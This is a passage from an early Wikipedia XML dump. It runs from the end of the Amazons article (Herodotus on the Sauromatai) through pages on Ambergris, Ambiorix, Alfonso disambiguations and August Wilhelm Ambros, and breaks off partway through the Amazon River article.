Hellenes had fought with the Amazons,--now the Amazons are called by the Scythians /Oiorpata/, which name means in the Hellenic tongue &quot;slayers of men,&quot; for &quot;man&quot; they call /oior/, and /pata/ means &quot;to slay,&quot;--then, as the story goes, the Hellenes, having conquered them in the battle at the Thermodon, were sailing away and conveying with them in three ships as many Amazons as they were able to take prisoners. These in the open sea set upon the men and cast them out of the ships; but they knew nothing about ships, nor how to use rudders or sails or oars, and after they had cast out the men they were driven
about by wave and wind and came to that part of the Maiotian lake
where Cremnoi stands; now Cremnoi is in the land of the free
Scythians. There the Amazons disembarked from their ships and
made their way into the country, and having met first with a troop of
horses feeding they seized them, and mounted upon these they plundered
the property of the Scythians. 

111. The Scythians meanwhile were not
able to understand the matter, for they did not know either their
speech or their dress or the race to which they belonged, but were in
wonder as to whence they had come and thought that they were men, of
an age corresponding to their appearance: and finally they fought a
battle against them, and after the battle the Scythians got possession
of the bodies of the dead, and thus they discovered that they were
women. They took counsel therefore and resolved by no means to go on
trying to kill them, but to send against them the youngest men from
among themselves, making conjecture of the number so as to send just
as many men as there were women. These were told to encamp near them,
and do whatsoever they should do; if however the women should come
after them, they were not to fight but to retire before them, and when
the women stopped, they were to approach near and encamp. This plan
was adopted by the Scythians because they desired to have children
born from them. 

112. The young men accordingly were sent out and did
that which had been commanded them: and when the Amazons perceived
that they had not come to do them any harm, they let them alone; and
the two camps approached nearer to one another every day: and the
young men, like the Amazons, had nothing except their arms and their
horses, and got their living, as the Amazons did, by hunting and by
taking booty. 

113. Now the Amazons at midday used to scatter abroad
either one by one or by two together, dispersing to a distance from
one another to ease themselves; and the Scythians also having
perceived this did the same thing: and one of the Scythians came near
to one of those Amazons who were apart by themselves, and she did not
repulse him but allowed him to lie with her: and she could not speak
to him, for they did not understand one another's speech, but she made
signs to him with her hand to come on the following day to the same
place and to bring another with him, signifying to him that there
should be two of them, and that she would bring another with her. The
young man therefore, when he returned, reported this to the others;
and on the next day he came himself to the place and also brought
another, and he found the Amazon awaiting him with another in her
company. Then hearing this the rest of the young men also in their
turn tamed for themselves the remainder of the Amazons; 

114, and after
this they joined their camps and lived together, each man having for
his wife her with whom he had had dealings at first; and the men were
not able to learn the speech of the women, but the women came to
comprehend that of the men. So when they understood one another, the
men spoke to the Amazons as follows: &quot;We have parents and we have
possessions; now therefore let us no longer lead a life of this kind,
but let us go away to the main body of our people and dwell with them;
and we will have you for wives and no others.&quot; They however spoke thus
in reply: &quot;We should not be able to live with your women, for we and
they have not the same customs. We shoot with bows and hurl javelins
and ride horses, but the works of women we never learnt; whereas your
women do none of these things which we said, but stay in the waggons
and work at the works of women, neither going out to the chase nor
anywhither else. We therefore should not be able to live in agreement
with them: but if ye desire to keep us for your wives and to be
thought honest men, go to your parents and obtain from them your share
of the goods, and then let us go and dwell by ourselves.&quot; 

115. The young men agreed and did this; and when they had obtained the share of the goods which belonged to them and had returned back to the Amazons, the women spoke to them as follows: &quot;We are possessed by fear and trembling to think that we must dwell in this place, having not only separated you from your fathers, but also done great damage to your land. Since then ye think it right to have us as your wives, do this together with us,--come and let us remove from this land and pass over the river Tana also&quot;.

116. They crossed over the Tana rising sun for three days' journey from Tana North Wind for three days' journey from the Maiotian lake: and having arrived at the place where they are now settled, they took up their abode there: and from thenceforward the women of the Sauromatai practise their ancient way of living, going out regularly on horseback to the chase both in company with the men and apart from them, and going regularly to war, and wearing the same dress as the men. 

117. And the Sauromatai make use of the Scythian tongue, speaking it barbarously however from the first, since the Amazons did not learn it thoroughly well. As regards marriages their rule is this, that no maiden is married until she has slain a man of their enemies; and some of them even grow old and die before they are married, because they are not able to fulfil the requirement of the law.&quot; [http://www.gutenberg.org/catalog/world/readfile?pageno=180&amp;fk_files=1131]

{{1911}}

{{Commonscat|Amazons}}

[[Category:Women in war]]
[[Category:Greek mythology]]
[[Category:Eurasian nomads]]
[[Category:Scythians]]
[[Category:Sarmatians]]

{{Link FA|no}}

[[ar:أمازونيات]]
[[da:Amazone]]
[[de:Amazonen]]
[[es:Amazona (mitología)]]
[[eu:Amazona (mitologia)]]
[[fr:Amazones]]
[[it:Amazzoni]]
[[he:אמזונות]]
[[lt:Amazonė (mitologija)]]
[[hu:Amazonok]]
[[nl:Amazone (mythologie)]]
[[no:Amasoner]]
[[nn:Amasone]]
[[pl:Amazonki]]
[[pt:Amazonas (guerreiras)]]
[[sl:Amazonka (mitologija)]]
[[fi:Amatsonit]]
[[sv:Amasoner]]
[[uk:Амазонки]]</text>
    </revision>
  </page>
  <page>
    <title>Alfonso V</title>
    <id>1696</id>
    <revision>
      <id>27036875</id>
      <timestamp>2005-11-01T03:39:58Z</timestamp>
      <contributor>
        <username>Joaopais</username>
        <id>94195</id>
      </contributor>
      <text xml:space="preserve">*[[Alfonso V of Castile]] -- (999-1028) 
*[[Alfonso V of Aragon]] -- (1416-1458) The Magnanimous
*[[Afonso V of Portugal]] -- (1432-1481) The African 

{{disambig}}
[[pt:Afonso V]]</text>
    </revision>
  </page>
  <page>
    <title>Ambergris</title>
    <id>1697</id>
    <revision>
      <id>41860417</id>
      <timestamp>2006-03-02T05:03:51Z</timestamp>
      <contributor>
        <username>SDC</username>
        <id>181435</id>
      </contributor>
      <comment>/* Source */</comment>
      <text xml:space="preserve">'''Ambergris''' ('''Ambra grisea''', '''Ambre gris''', '''ambergrease''', or '''grey [[amber]]''') is a solid, fatty, flammable substance of a dull grey or blackish color, with the shades being variegated like [[marble]]. It possesses a peculiar sweet, earthy odour not unlike [[isopropyl alcohol]]. Now largely replaced by synthetics, it is occasionally still used as a [[fixative]] in [[perfumery]].

== Source ==
Ambergris occurs as a [[biliary]] [[concretion]] in the [[intestines]] of the [[sperm whale]], and can be found floating upon the sea, on the sea-coast, or in the sand near the sea-coast.  Because lumps of ambergris with embedded beaks of [[giant squid]] have been found, scientists have theorized that the whale's intestine produces the substance as a means of facilitating the passage of hard, sharp objects that the whale might have inadvertently eaten.  Ambergris can be found in the [[Atlantic Ocean]]; on the coasts of [[Brazil]] and [[Madagascar]]; also on the coast of [[Africa]], of the [[East Indies]], [[China]], [[Japan]], [[Australia]] and the [[Maluku Islands|Molucca islands]]. However, most commercially collected ambergris came from the [[Bahama Islands]], [[New Providence Island|Providence Island]], etc. It is also sometimes found in the [[abdomen]]s of [[whale]]s.

== Physical properties ==
Ambergris is found in lumps of various shapes and sizes, weighing from &amp;frac12; [[ounce|oz]] (14 [[gram|g]]) to 100 or more [[pound (mass)|pound]]s (45 or more [[kilogram|kg]]). When initially expelled by the whale or removed from it, the fatty precursor of ambergris is pale white in colour (sometimes streaked with black), soft in consistency, with a strong fecal smell.  Following months to years of [[photo-degradation]] and [[oxidation]] in the ocean, this precursor gradually hardens, developing a dark grey or black colour, a crusty and waxy texture, and a peculiar odour that is at once sweet, earthy, marine, and animalic. Its smell has been described by many as a vastly richer and smoother version of [[isopropanol]] without its stinging harshness.

In this developed condition, ambergris has a [[specific gravity]] ranging from 0.780 to 0.926. It melts at about 62 [[degree (temperature)|&amp;deg;]][[celsius|C]] to a fatty, yellow resinous-like liquid; and at 100 &amp;deg;C it is volatilized into a white vapour.  It is soluble in [[diethyl ether|ether]], and in volatile and fixed oils. Ambergris is relatively unreactive to [[acid]]. White crystals of a substance called [[ambrein]], which closely resembles [[cholesterol]], can be separated from ambergris by heating raw ambergris in alcohol then allowing the resulting solution to cool.

== Replacement compounds and economics ==
Historically, the primary commercial use of ambergris has been in [[fragrance]] chemistry, although it has also been used for [[medicine|medicinal]] and [[flavoring]] purposes.  Ambergris is one of the most important amber type odorants and is highly sought. However, it is difficult to get a consistent and reliable supply of high quality ambergris. Due to demand for ambergris and its high price, replacement compounds have been sought out by the fragrance industry and chemically [[chemical synthesis|synthesized]].  The most important of these is [[Ambrox]], which has taken its place as the most widely used amber odorant in [[perfume]] manufacture.  The oldest and most commercially significant synthesis of Ambrox is from [[sclareol]] (primarily extracted from [[Clary sage]]), although syntheses have been devised from a variety of other [[secondary metabolites|natural products]], including [[cis-abienol]] and [[thujone]]. Procedures for the microbial production of Ambrox have also been devised.

Depending on its quality, raw ambergris fetches approximately USD$20 per gram. In the [[United States]], possession of any part of an endangered species &amp;mdash; including ambergris that has washed ashore &amp;mdash; is a violation of the [[Endangered Species Act]] of 1978.

==In literature, cinema and music==

'''Ambergris''' is also a fictional city, named for &quot;the most secret and valued part of the whale&quot;, appearing in [[Jeff Vandermeer]]'s books ''[[City of Saints and Madmen]]'' and ''[[Shriek: An Afterword]]''.
The word also appears in [[Ezra Pound]]'s poem ''Portrait d'une Femme''.  Chapters XCI and XCII of ''[[Moby-Dick]]'' relate the extraction of ambergris from a deceased sperm whale.

In the 2001 motion picture [[Hannibal (film)|''Hannibal'']], [[Hannibal Lecter|Dr. Lecter's]] secret location in [[Florence, Italy]] was determined after FBI Agent Clarice Starling received a letter from him that was scented with a hand-engineered fragrance containing ambergris.  Agent Starling consulted a team of fragrance industry experts who identified the presence of ambergris by smelling the letter and lamented their inability to work with this substance in the United States due to its prohibition.

'''Ambergris''' is mentioned during the ''[[Futurama]]'' episode [[Three Hundred Big Boys]] when the whale Mooshu is caused to vomit by the rotten fish it ingests when Leela swims with it.

In the [[Encyclopedia Brown]] series of children's detective stories, there is a story called &quot;The Case of Smelly Nellie and the Ambergris&quot;.

There was also a [[rock music|rock band]] called Ambergris, who released one self-titled album in 1970 through [[ABC Records]].

In the [[World of Warcraft]] [[video game]], players occasionally receive an item called Threshadon Ambergris from defeating [[Loch Ness Monster]]-like sea creatures.

'''Ambergris''' is mentioned in ''[[The Far Side of the World]]'',  one of the ''[[Aubrey-Maturin series]]'' novels by [[Patrick O'Brian]].

A whale-sized block of ambergris plays a central role in artist [[Matthew Barney]]'s film ''[[Drawing Restraint 9]]''

==External links==
* [http://www.rsmas.miami.edu/support/lib/seas/seasQA/QAs/a/ambergris.html University of Miami Ambergris FAQ]
* [http://www.naturalhistorymag.com/editors_pick/1933_05-06_pick.html  Natural History Magazine Article: Floating Gold -- The Romance of Ambergris]
* [http://www.netstrider.com/documents/ambergris/ Ambergris - A Pathfinder and Annotated Bibliography]
* [http://www.laputanlogic.com/articles/2006/02/01-0159-300.html Article on Ambergris and its history]
* [http://www.cropwatch.org/amber.htm On the chemistry and ethics of Ambergris]

{{1911}}

[[Category:Perfumery]]
[[Category:Whale products]]
[[Category:Animal glandular products]]

[[da:Ambra]]
[[de:Ambra]]
[[eo:ambro]]
[[fr:Ambre gris]]
[[nl:Amber (potvis)]]
[[ja:龍涎香]]
[[pl:Ambra]]
[[pt:Âmbar cinza]]
[[ru:Амбра]]
[[fi:Ambra]]
[[sv:Ambra]]
[[uk:Амбра]]
[[zh:龍涎香]]</text>
    </revision>
  </page>
  <page>
    <title>Ambiorix</title>
    <id>1698</id>
    <revision>
      <id>38961991</id>
      <timestamp>2006-02-09T20:27:27Z</timestamp>
      <contributor>
        <username>Gaius Cornelius</username>
        <id>293907</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] clean up + typo fix</comment>
      <text xml:space="preserve">'''Ambiorix''' was prince of the [[Eburones]], a [[Belgae|Belgic]] tribe of north-eastern [[Gaul]] ([[Gallia Belgica]]).

[[Image:Ambiorix.jpg|thumb|Statue of Ambiorix in [[Tongeren]].]]
Although [[Julius Caesar]] had freed him from paying tribute to the [[Atuatuci]], Ambiorix joined [[Catuvolcus]] (winter, [[54 BC]]) in an uprising against the [[Roman Republic|Roman]] forces under [[Q. Titurius Sabinus]] and [[I. Aurunculeius Cotta]], and almost annihilated them.  An attack on [[Quintus Cicero]] (brother of the orator), then stationed with a legion in the [[Nervii]]'s territory, failed due to the timely appearance of Caesar.  Ambiorix is said to have found safety across the [[Rhine]], but his fate remains unknown. It is certain that Caesar attempted to capture him, eliminating the Eburones and destroying their land in the process.

A statue of of Ambiorix (actually a 19th century Romantic interpretation of what Ambiorix might have looked like) can be found in the [[Belgium|Belgian]] town of [[Tongeren]].

Caesar, ''[[Gallic Wars|De Bello Gallico]]'' v. 26-51, vi. 29-43, 
viii. 24; Dio Cassius xl. 7-11; Florus iii. 10.

==External links==
* [http://www.livius.org/am-ao/ambiorix/ambiorix.html Ambiorix] from www.livius.org

[[Category:Ancient Roman enemies and allies]]
[[Category:Ancient Gauls]]

[[de:Ambiorix]]
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[[li:Ambiorix]]
[[nl:Ambiorix]]
[[pt:Ambiorix]]
[[sv:Ambiorix]]


{{Ancient-Rome-bio-stub}}
{{royalty-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Alfonso VI</title>
    <id>1699</id>
    <revision>
      <id>38133427</id>
      <timestamp>2006-02-04T11:36:04Z</timestamp>
      <contributor>
        <username>Ft1</username>
        <id>875504</id>
      </contributor>
      <minor />
      <comment>+it</comment>
      <text xml:space="preserve">*[[Alfonso VI of Portugal]] -- (1643-1667) second king of the [[House of Braganza]]
*[[Alfonso VI of Castile]] -- (1065-1109) 

{{disambig}}

[[es:Alfonso VI]]
[[it:Alfonso VI]]
[[pt:Afonso VI]]
[[sv:Alfonso VI]]</text>
    </revision>
  </page>
  <page>
    <title>August Wilhelm Ambros</title>
    <id>1700</id>
    <revision>
      <id>28106107</id>
      <timestamp>2005-11-12T10:46:30Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <minor />
      <comment>Standardising 1911 references.</comment>
      <text xml:space="preserve">'''August Wilhelm Ambros''' ([[November 17]], [[1816]] &amp;ndash; [[June 28]], [[1876]]) was an [[Austrian]] composer and music historian of [[Czech people|Czech]] decent.

He was born at Mýto (''Mauth'') near [[Rokycany]], [[Bohemia]]. His father was a cultured man, and his mother was the sister of [[Raphael Georg Kiesewetter]] ([[1773]]-[[1850]]), the musical archaeologist and collector. Ambros was well-educated in music and the arts, which were his abiding passion. He was, however, destined for the law and an official career in the Austrian civil service, and he occupied various important posts under the ministry of justice, music being an avocation.

From [[1850]] onwards he became well-known as a critic and essay-writer, and in [[1860]] he began working on his magnum opus, his ''History of Music'', which was published at intervals from [[1864]] in five volumes, the last two ([[1878]], [[1882]]) being edited and completed by [[Otto Kade]] and [[Langhaus]]. 

Ambros became professor of the history of music at [[Prague]] in [[1869]].  He was an excellent pianist, and the author of numerous compositions somewhat reminiscent of [[Felix Mendelssohn]]. 

Ambros died at [[Vienna]], Austria at the age of 59.

==References==
*{{1911}}

[[Category:1816 births|Ambros, August Wilhelm]]
[[Category:1876 deaths|Ambros, August Wilhelm]]
[[Category:Austrian composers|Ambros, August Wilhelm]]
[[Category:Romantic composers|Ambros, August Wilhelm]]

[[de:August Wilhelm Ambros]]
[[pt:August Wilhelm Ambros]]</text>
    </revision>
  </page>
  <page>
    <title>Amazon River</title>
    <id>1701</id>
    <revision>
      <id>41789642</id>
      <timestamp>2006-03-01T19:41:32Z</timestamp>
      <contributor>
        <username>Gdr</username>
        <id>55814</id>
      </contributor>
      <comment>/* 20th century concerns */ reverft vandalism</comment>
      <text xml:space="preserve">{{Infobox_river | river_name = Amazon River
  | image_name = Amazon_river_basin.png
  | caption = Map showing the course of the Amazon, selected tributaries, and the approximate extent of its drainage area
  | origin = [[Nevado Mismi]]
  | mouth = [[Atlantic Ocean]]
  | basin_countries = [[Brazil]] (62.4%), [[Peru]] (16.3%)&lt;br&gt;[[Bolivia]] (12.0%), [[Colombia]] (6.3%)&lt;br&gt;[[Ecuador]] (2.1%)
  | length = 6,387 km (3,969 mi)
  | elevation = 5,597 m (18,364 ft)
  | discharge = 219,000 m&amp;sup3;/s (7,735,080 ft&amp;sup3;/s)
  | watershed = 6,915,000 km&amp;sup2; (2,669,882 mi&amp;sup2;)
}}

The '''Amazon River''' (occasionally ''River Amazon''; [[Spanish language|Spanish]]: ''Río Amazonas'', [[Portuguese language|Portuguese]]: ''Rio Amazonas'') of [[South America]] is [[River lengths|one of the two longest]] [[river]]s on Earth, the other being the [[Nile]] in Africa. The Amazon has by far the greatest total flow of any river, carrying more than the [[Mississippi River|Mississippi]], [[Nile]], and [[Yangtze River|Yangtze]] rivers combined — so while it may not be the ''longest'' river, it is undoubtedly the ''largest''. Its [[drainage area]], called the [[Amazon Basin]], is the largest of any river system.

The quantity of fresh water released to the [[Atlantic Ocean]] is enormous: up to 300,000&amp;nbsp;m&amp;sup3; per second in the rainy season. Indeed, the Amazon is responsible for a fifth of the total volume of [[fresh water]] entering the oceans worldwide. It is said that offshore of the mouth of the Amazon [[potable]] water can be drawn from the ocean while still out of sight of the coastline, and the salinity of the ocean is notably lower a hundred miles out to sea.

The main river (which is usually between one and six miles wide) is navigable for large ocean steamers to [[Manaus]], 1,500 km (more than 900 miles) upriver from the mouth.  Smaller ocean vessels of 3,000 tons[http://uk.encarta.msn.com/encyclopedia_761571466/Amazon.html] and 5.5 m (18 ft) [[Draft (nautical)|draft]][http://www.ultramargroup.com/TextosPeru/Per-013.html] can reach as far as [[Iquitos, Peru|Iquitos]], 3,600 km (2,250 miles) from the sea.  Smaller riverboats can reach 780 km (486 mi) higher as far as [[Achual Point]]. Beyond that, small boats frequently ascend to the [[Pongo de Manseriche]], just above Achual Point.

The Amazon drains an area of some [[1 E12 m²|6,915,000km]]&amp;sup2; (2,722,000 mile&amp;sup2;), or some 40 percent of South America. It gathers its waters from 5 degrees north latitude to 20 degrees south [[latitude]]. Its most remote sources are found on the inter-[[Andes|Andean]] plateau, just a short distance from the [[Pacific Ocean]]; and, after a course of about 6,400 km (4,000 mi) through the interior of [[Peru]] and across [[Brazil]], it enters the [[Atlantic Ocean]] at the [[Equator|equator]].

The Amazon has changed its drainage several times, from westward in the early [[Cenozoic]] to its present eastward locomotion following the uplift of the [[Andes]].

==Source and upper reaches==
[[Image:Amazon_origin_at_Mismi.jpg|thumb|160px|right|The Amazon originates from a cliff at the [[Nevado Mismi]], with a sole sign of a wooden cross.]]

The ultimate source of the Amazon has only recently been firmly established as a stream on a 5,597 metre (18,363 ft) peak called [[Nevado Mismi]] in the Peruvian [[Andes]], roughly 160 km west of Lake [[Titicaca]] and 700 km S.E. of [[Lima, Peru|Lima]].  The mountain was first suggested as the source in [[1971]] but this was not confirmed until [[2001]]. The waters from Nevado Mismi flow into the [[Río Apurímac]] which is a tributary of the [[Ucayali]] which later joins the [[Marañón River|Marañón]] to form the Amazon proper.

After the confluence of [[Río Apurímac]] and [[Ucayali]], the river leaves Andean terrain and is instead surrounded by [[flood plain]]. From this point to the [[Marañón River|Marañón]], some 1,600 km (1,000 mi), the forested banks are just out of water, and are inundated long before the river attains its maximum flood-line. The low river banks are interrupted by only a few hills, and the river enters the enormous [[Amazon Rainforest]].

==Amazonian Rainforest==
{{main|Amazon Rainforest}}
of the [[Andes]], the Amazon [[Rainforest]] begins. It is the largest rainforest in the world and is of great [[ecological]] significance, as its biomass is capable of absorbing enormous amounts of [[carbon dioxide]]. [[Conservation ethic|Conservation]] of the Amazon Rainforest has been a major issue in recent years.

The rainforest is supported by the extremely wet climate of the Amazon basin.  The Amazon, and its hundreds of tributaries, flow slowly across the landscape, with an extremely shallow gradient sending them towards the sea: [[Manaus]], 1,600 km (1,000 mi) from the [[Atlantic]], is only 44 m (144 ft) above sea level.

The [[biodiversity]] within the rainforest is extraordinary: the region is home to at least 2.5 million insect species, tens of thousands of plants, and some 2,000 birds and mammals. One fifth of all the world's species of birds can be found in the Amazon rainforest.

The diversity of plant species in the Amazon basin is the highest on Earth. Some experts estimate that one square kilometre may contain over 75,000 types of trees and 150,000 species of higher plants. One square kilometre of Amazon rainforest can contain about 90,000 tons of living plants.

==Flooding==
[[Image:Amazon-river-NASA.jpg|thumb|250px|right|A [[NASA]] satellite image of a flooded portion of the river.]]

Seasonal rains give rise to extensive [[floods]] along the course of the Amazon and its tributaries. The average depth of the river in the height of the rainy season is 40 m (120 ft) and the average width can be nearly twenty-five miles. It starts to rise in November, and increases in volume until June, then falls until the end of October. The rise of the [[Negro River|Negro]] branch is not synchronous; the [[rainy season]] does not commence in its valley until February or March. By June it is full, and then it begins to fall with the Amazon. The [[Madeira River|Madeira]] rises and falls two months earlier than the Amazon.

The abundance of water in the Amazon basin is due to the fact that much of this lies in the region below the [[Intertropical convergence zone]], where rainfall is at a maximum.  Also, the basin lies in the [[Trade Wind]] zone, where moisture from the Atlantic is pushed westwards, and eventually forced to rise over the [[Andes]], the second tallest mountain range on Earth, where the moist air cools and precipitates water.  This combination creates more rainfall over a large river basin than anywhere else on the planet.

In the rainy season, the Amazon inundates the country throughout its course to the extent of several hundred thousand square miles, covering the flood-plain, called [[vargem]]. The flood-levels are, in some places, from 12 to 15 m (40 to 50 ft) higher than levels during the dry season. During the flood, the level at [[Iquitos]] is 6 m (20 ft); at [[Teffe]], it is 15 m (45 ft); near [[Óbidos, Pará|Óbidos]], 11 m (35 ft); and at [[Pará]], 4 m (12 ft), above the low-water extreme seen during the dry season.
&lt;br clear=all /&gt;

==Towards the sea==
The breadth of the Amazon in some places is as much as 6 to 10 km (4 to 6 mi) from one bank to the other. At some points, for long distances, the river divides into two main streams with inland and lateral [[channel (geography)|channels]], all connected by a complicated system of natural [[canal]]s, cutting the low, flat igapo lands, which are never more than 5 m (15 ft) above low river, into almost numberless islands.

At the narrows of [[Óbidos, Pará|Óbidos]], 600 km (400 mi) from the sea, the Amazon narrows, flowing in a single streambed, a mile (1.6 km) wide and over 200 ft (60 m). deep, through which the water rushes toward the sea at the speed of 6 to 8 km/h (4 to 5 mph).

From the village of [[Canaria]] at the great bend of the Amazon to the Negro 1,000 km (600 mi) downstream, only very low land is found, resembling that at the mouth of the river. Vast areas of land in this region are submerged at high water, above which only the upper part of the trees of the sombre forests appear. Near the mouth of the Rio Negro to Serpa, nearly opposite the river Madeira, the banks of the Amazon are low, until approaching Manaus, they rise to become rolling hills. At Óbidos, a bluff 17 m (56 ft) above the river is backed by low hills. The lower Amazon seems to have once been a [[gulf]] of the [[Atlantic Ocean]], the waters of which washed the cliffs near Óbidos.

[[Image:Amazon near Manaus.jpg|thumb|left|250px|The Amazon near Manaus]]

Only about 10% of the water discharged by the Amazon enters the mighty stream downstream of Óbidos, very little of which is from the northern slope of the valley. The drainage area of the Amazon basin above Óbidos is about 5 million km&amp;sup2; (2 million mile&amp;sup2;), and, below, only about 1 million km&amp;sup2; (400,000 mile&amp;sup2;), or around 20%, exclusive of the 1.4 million km&amp;sup2; (600,000 mile&amp;sup2;) of the Tocantins basin.

In the lower reaches of the river, the north bank consists of a series of steep, table-topped [[hill]]s extending for about 240 km (150 mi) from opposite the mouth of the Xingu as far as [[Monte Alegre]]. These hills are  cut down to a kind of [[Terrace (agriculture)|terrace]] which lies between them and the river. 

Monte Alegre reaches an altitude of several hundred feet. On the south bank, above the Xingu, an almost-unbroken line of low [[bluff]]s bordering the flood-plain extends nearly to Santarem, in a series of gentle curves before they bend to the south-west, and, abutting upon the lower Tapajos, merge into the bluffs which form the terrace margin of the Tapajos river valley.

==Mouth of the river==
[[Image:Amazon-river-delta-NASA.jpg|thumb|250px|A satellite image of the mouth of the Amazon River, looking south]]

The width of the mouth of the river is usually measured from [[Cabo do Norte]] to [[Punto Patijoca]], a distance of some 330 km (207 mi); but this includes the ocean outlet, 60 km (40 mi) wide, of the Para river, which should be deducted, as this stream is only the lower reach of the Tocantins. It also includes the ocean frontage of [[Marajó]], an island about the size of [[Denmark]] lying in the mouth of the Amazon.

==Tidal bore==
Following the coast, a little to the north of Cabo do Norte, and for 160 km (100 miles) along its Guiana margin up the Amazon, is a belt of half-submerged islands and shallow sandbanks. Here the tidal phenomenon called the [[tidal bore|bore]], or ''Pororoca'', occurs, where the depths are not over 4 [[fathom]]s (7 m). The tidal bore starts with a roar, constantly increasing, and advances at the rate of from 15 to 25 km/h (10 to 15 mph), with a breaking wall of water from 1.5 to 4 m (5 to 12 ft) high. The bore is the reason the Amazon does not have a [[river delta|delta]]; the ocean rapidly carries away the vast volume of [[silt]] carried by the Amazon, making it impossible for a delta to grow. It also has a very large tide sometimes reaching 20 feet.

==Wildlife==
The waters of the Amazon support a diverse range of wildlife. Along with the [[Orinoco]], the river is one of the main habitats of the [[Boto]], also known as the Amazon River Dolphin. The largest species of river dolphin, it can grow to lengths of up to 2.6 m.

Also present in large numbers are the notorious [[Piranha]], carnivorous fish which congregate in large schools, and may attack livestock and even humans. Although many experts believe their reputation for ferocity is unwarranted, a school of piranha was apparently responsible for the deaths of up to 300 people when their boat capsized near [[Óbidos, Pará|Óbidos]] in [[1981]].

The [[Anaconda]] snake is found in shallow waters in the Amazon basin. One of the world's largest species of snake, the Anaconda spends most of its time in the water, with just its nostrils above the surface. Anacondas have been known very occasionally to attack fishermen.

The river also supports thousands of species of fish, as well as crabs and turtles.

==European exploration==
The first descent by a European of the Amazon from the [[Andes]] to the sea was made by [[Francisco de Orellana]] in 1541.

The first ascent by a European of the river was made in 1638 by [[Pedro Teixeira]], a [[Portugal|Portuguese]], who reversed the route of Orellana and reached [[Quito]] by way of the [[Napo River|Napo River]]. He returned in 1639 with the two [[Society of Jesus|Jesuit]] fathers [[Christoval de Acuna|Acuna]] and [[Artieda]], who had been delegated by the viceroy of [[Peru]] to accompany Texeira.

==Name==
Before the conquest of South America, the ''Río de las Amazonas'' had no general name; instead, indigenous peoples had names for the sections of the river they occupied, such as [[Paranaguazu]], [[Guyerma]], [[Solimões]] and others.

In the year 1500, [[Vicente Yañez Pinzon]], in command of a [[Spain|Spanish]] expedition, became the first European to explore the river, exploring its mouth when he discovered that the ocean off the shore was fresh water. Pinzon called the river the ''Rio Santa Maria de la Mar Dulce'', which soon became abbreviated to Mar Dulce, and for some years, after 1502, it was known as the Rio Grande.

Pinzon's companions called the river ''El Río Marañón''. The word Marañón is thought by some to be of indigenous origin. This idea was first stated in a letter from [[Pietro Martire Vermigli|Peter Martyr]] to [[Lope Hurtado de Mendoza]] in 1513. However, the word may also be derived from the [[Spanish language|Spanish]] word ''&quot;maraña&quot;'' &amp;mdash; meaning a tangle, a snarl, which well represents the bewildering difficulties which the earlier explorers met in navigating not only the entrance to the Amazon, but the whole island-bordered, river-cut and indented coast of what is now the Brazilian state of [[Maranhão]].

The name ''Amazon'' arises from a battle which [[Francisco de Orellana]] had with a tribe of [[Tapuya]]s where the women of the tribe fought alongside the men, as was the custom among the entire tribe. Orellana derived the name Amazonas from the ancient [[Amazons]] of [[Asia]] and [[Africa]] described by [[Herodotus]] and [[Diodorus]].

==Exploitation==
&lt;!-- Unsourced image removed: [[Image:Solimoes_and_Negro_converge.jpg|thumb|left|250px|The Solimões and Negro rivers join near [[Manaus]]. The Solimões is laden with silt carried down from the Andes; the clear-running Negro has its source in a region with little sediment]] --&gt;

[[Image:Amazon at Iquitos.jpg|thumb|250px|left|The Amazon flows past the Malecon in [[Iquitos, Peru|Iquitos]].]]

For 350 years after the European discovery of the Amazon by Pinzon, the Portuguese portion of its basin remained an almost undisturbed wilderness, occupied by indigenous tribes split into countless fragments by their quest for food. Because of the difficulty of [[hunter-gatherer|hunting and gathering]] food, the indigenous inhabitants probably had a population density no higher than one person to every 13 km&amp;sup2; (5 sq. miles) of territory.

A few settlements on the banks of the main river and some of its tributaries had been founded by the Portuguese either for trade with the Indians or for evangelizing purposes. The total population of the Brazilian portion of the Amazon basin in 1850 was perhaps 300,000, of whom about two-thirds comprised by Europeans and slaves, the slaves amounting to about 25,000.

The principal commercial city, [[Para (city)|Para]], had from 10,000 to 12,000 inhabitants, including slaves. The town of Manáos, now [[Manaus]], at the mouth of the Rio Negro, had from 1,000 to 1,500 population. All the remaining villages, as far up as [[Tabatinga]], on the Brazilian frontier of Peru, were very small.

On [[September 6]] [[1850]], the emperor, [[Dom Pedro II]], sanctioned a law authorizing steam navigation on the Amazon, and gave Barao Maua ([[Irineu Evangilista de Sousa]]) the task of putting it into effect. He organized the &quot;Compania de Navigacao e Commercio do Amazonas&quot; at Rio de Janeiro in 1852; and in the following year it commenced operations with three small steamers, the ''Monarch'', the ''Marajó'' and ''Rio Negro''.

At first, navigation was principally confined to the main river; and even in 1857 a modification of the government contract only obliged the company to a monthly service between Para and Manáos, with steamers of 200 tons cargo capacity, a second line to make six round voyages a year between Manaós and Tabatinga, and a third, two trips a month between Para and Cameta. This was the first step in opening up the vast interior.

The success of the venture called attention to the opportunities for economic exploitation of the Amazon, and a second company soon opened commerce on the Madeira, Purus and Negro; a third established a line between Para and Manáos; and a fourth found it profitable to navigate some of the smaller streams. In that same period, the Amazonas Company was increasing its fleet. Meanwhile, private individuals were building and running small steam craft of their own on the main river as well as on many of its tributaries.

On [[July 31]], 1867 the government of Brazil, constantly pressed by the maritime powers and by the countries encircling the upper Amazon basin, decreed the opening of the Amazon to all flags; but limited this to certain defined points: Tabatinga&amp;mdash;on the Amazon; Cameta&amp;mdash;on the Tocantins; Santarem&amp;mdash;on the Tapajos; Borba&amp;mdash;on the Madeira and Manáos&amp;mdash;on the Rio Negro. The decree took effect on [[September 7]], 1867.

Manáos (now Manaus), Para and Iquitos are now thriving commercial centres. The first direct foreign trade with Manáos was commenced about 1874. The local trade of the river was carried on by the English successors to the Amazonas Company&amp;mdash;the Amazon Steam Navigation Company&amp;mdash;as well as numerous small river steamers, belonging to companies and firms engaged in the rubber trade, navigating the Negro, Madeira, Purfis and many other streams. The principal exports of the valley were [[Rubber|india-rubber]], [[cacao]], [[Brazil nut]]s and a few other products of very minor importance.

==20th century concerns==
Four centuries after the discovery of the Amazon river, the total cultivated area in its basin was probably less than 25 square miles (65 km&amp;sup2;), excluding the limited and rudely cultivated areas among the mountains at its extreme headwaters. This situation changed dramatically during the [[20th century]].

[[Image:Manaus-Amazon-NASA.jpg|thumb|250px|right|[[Manaus]], the largest city on the Amazon, as seen from a [[NASA]] satellite image, surrounded by the muddy Amazon River and the dark [[Negro River]].]]

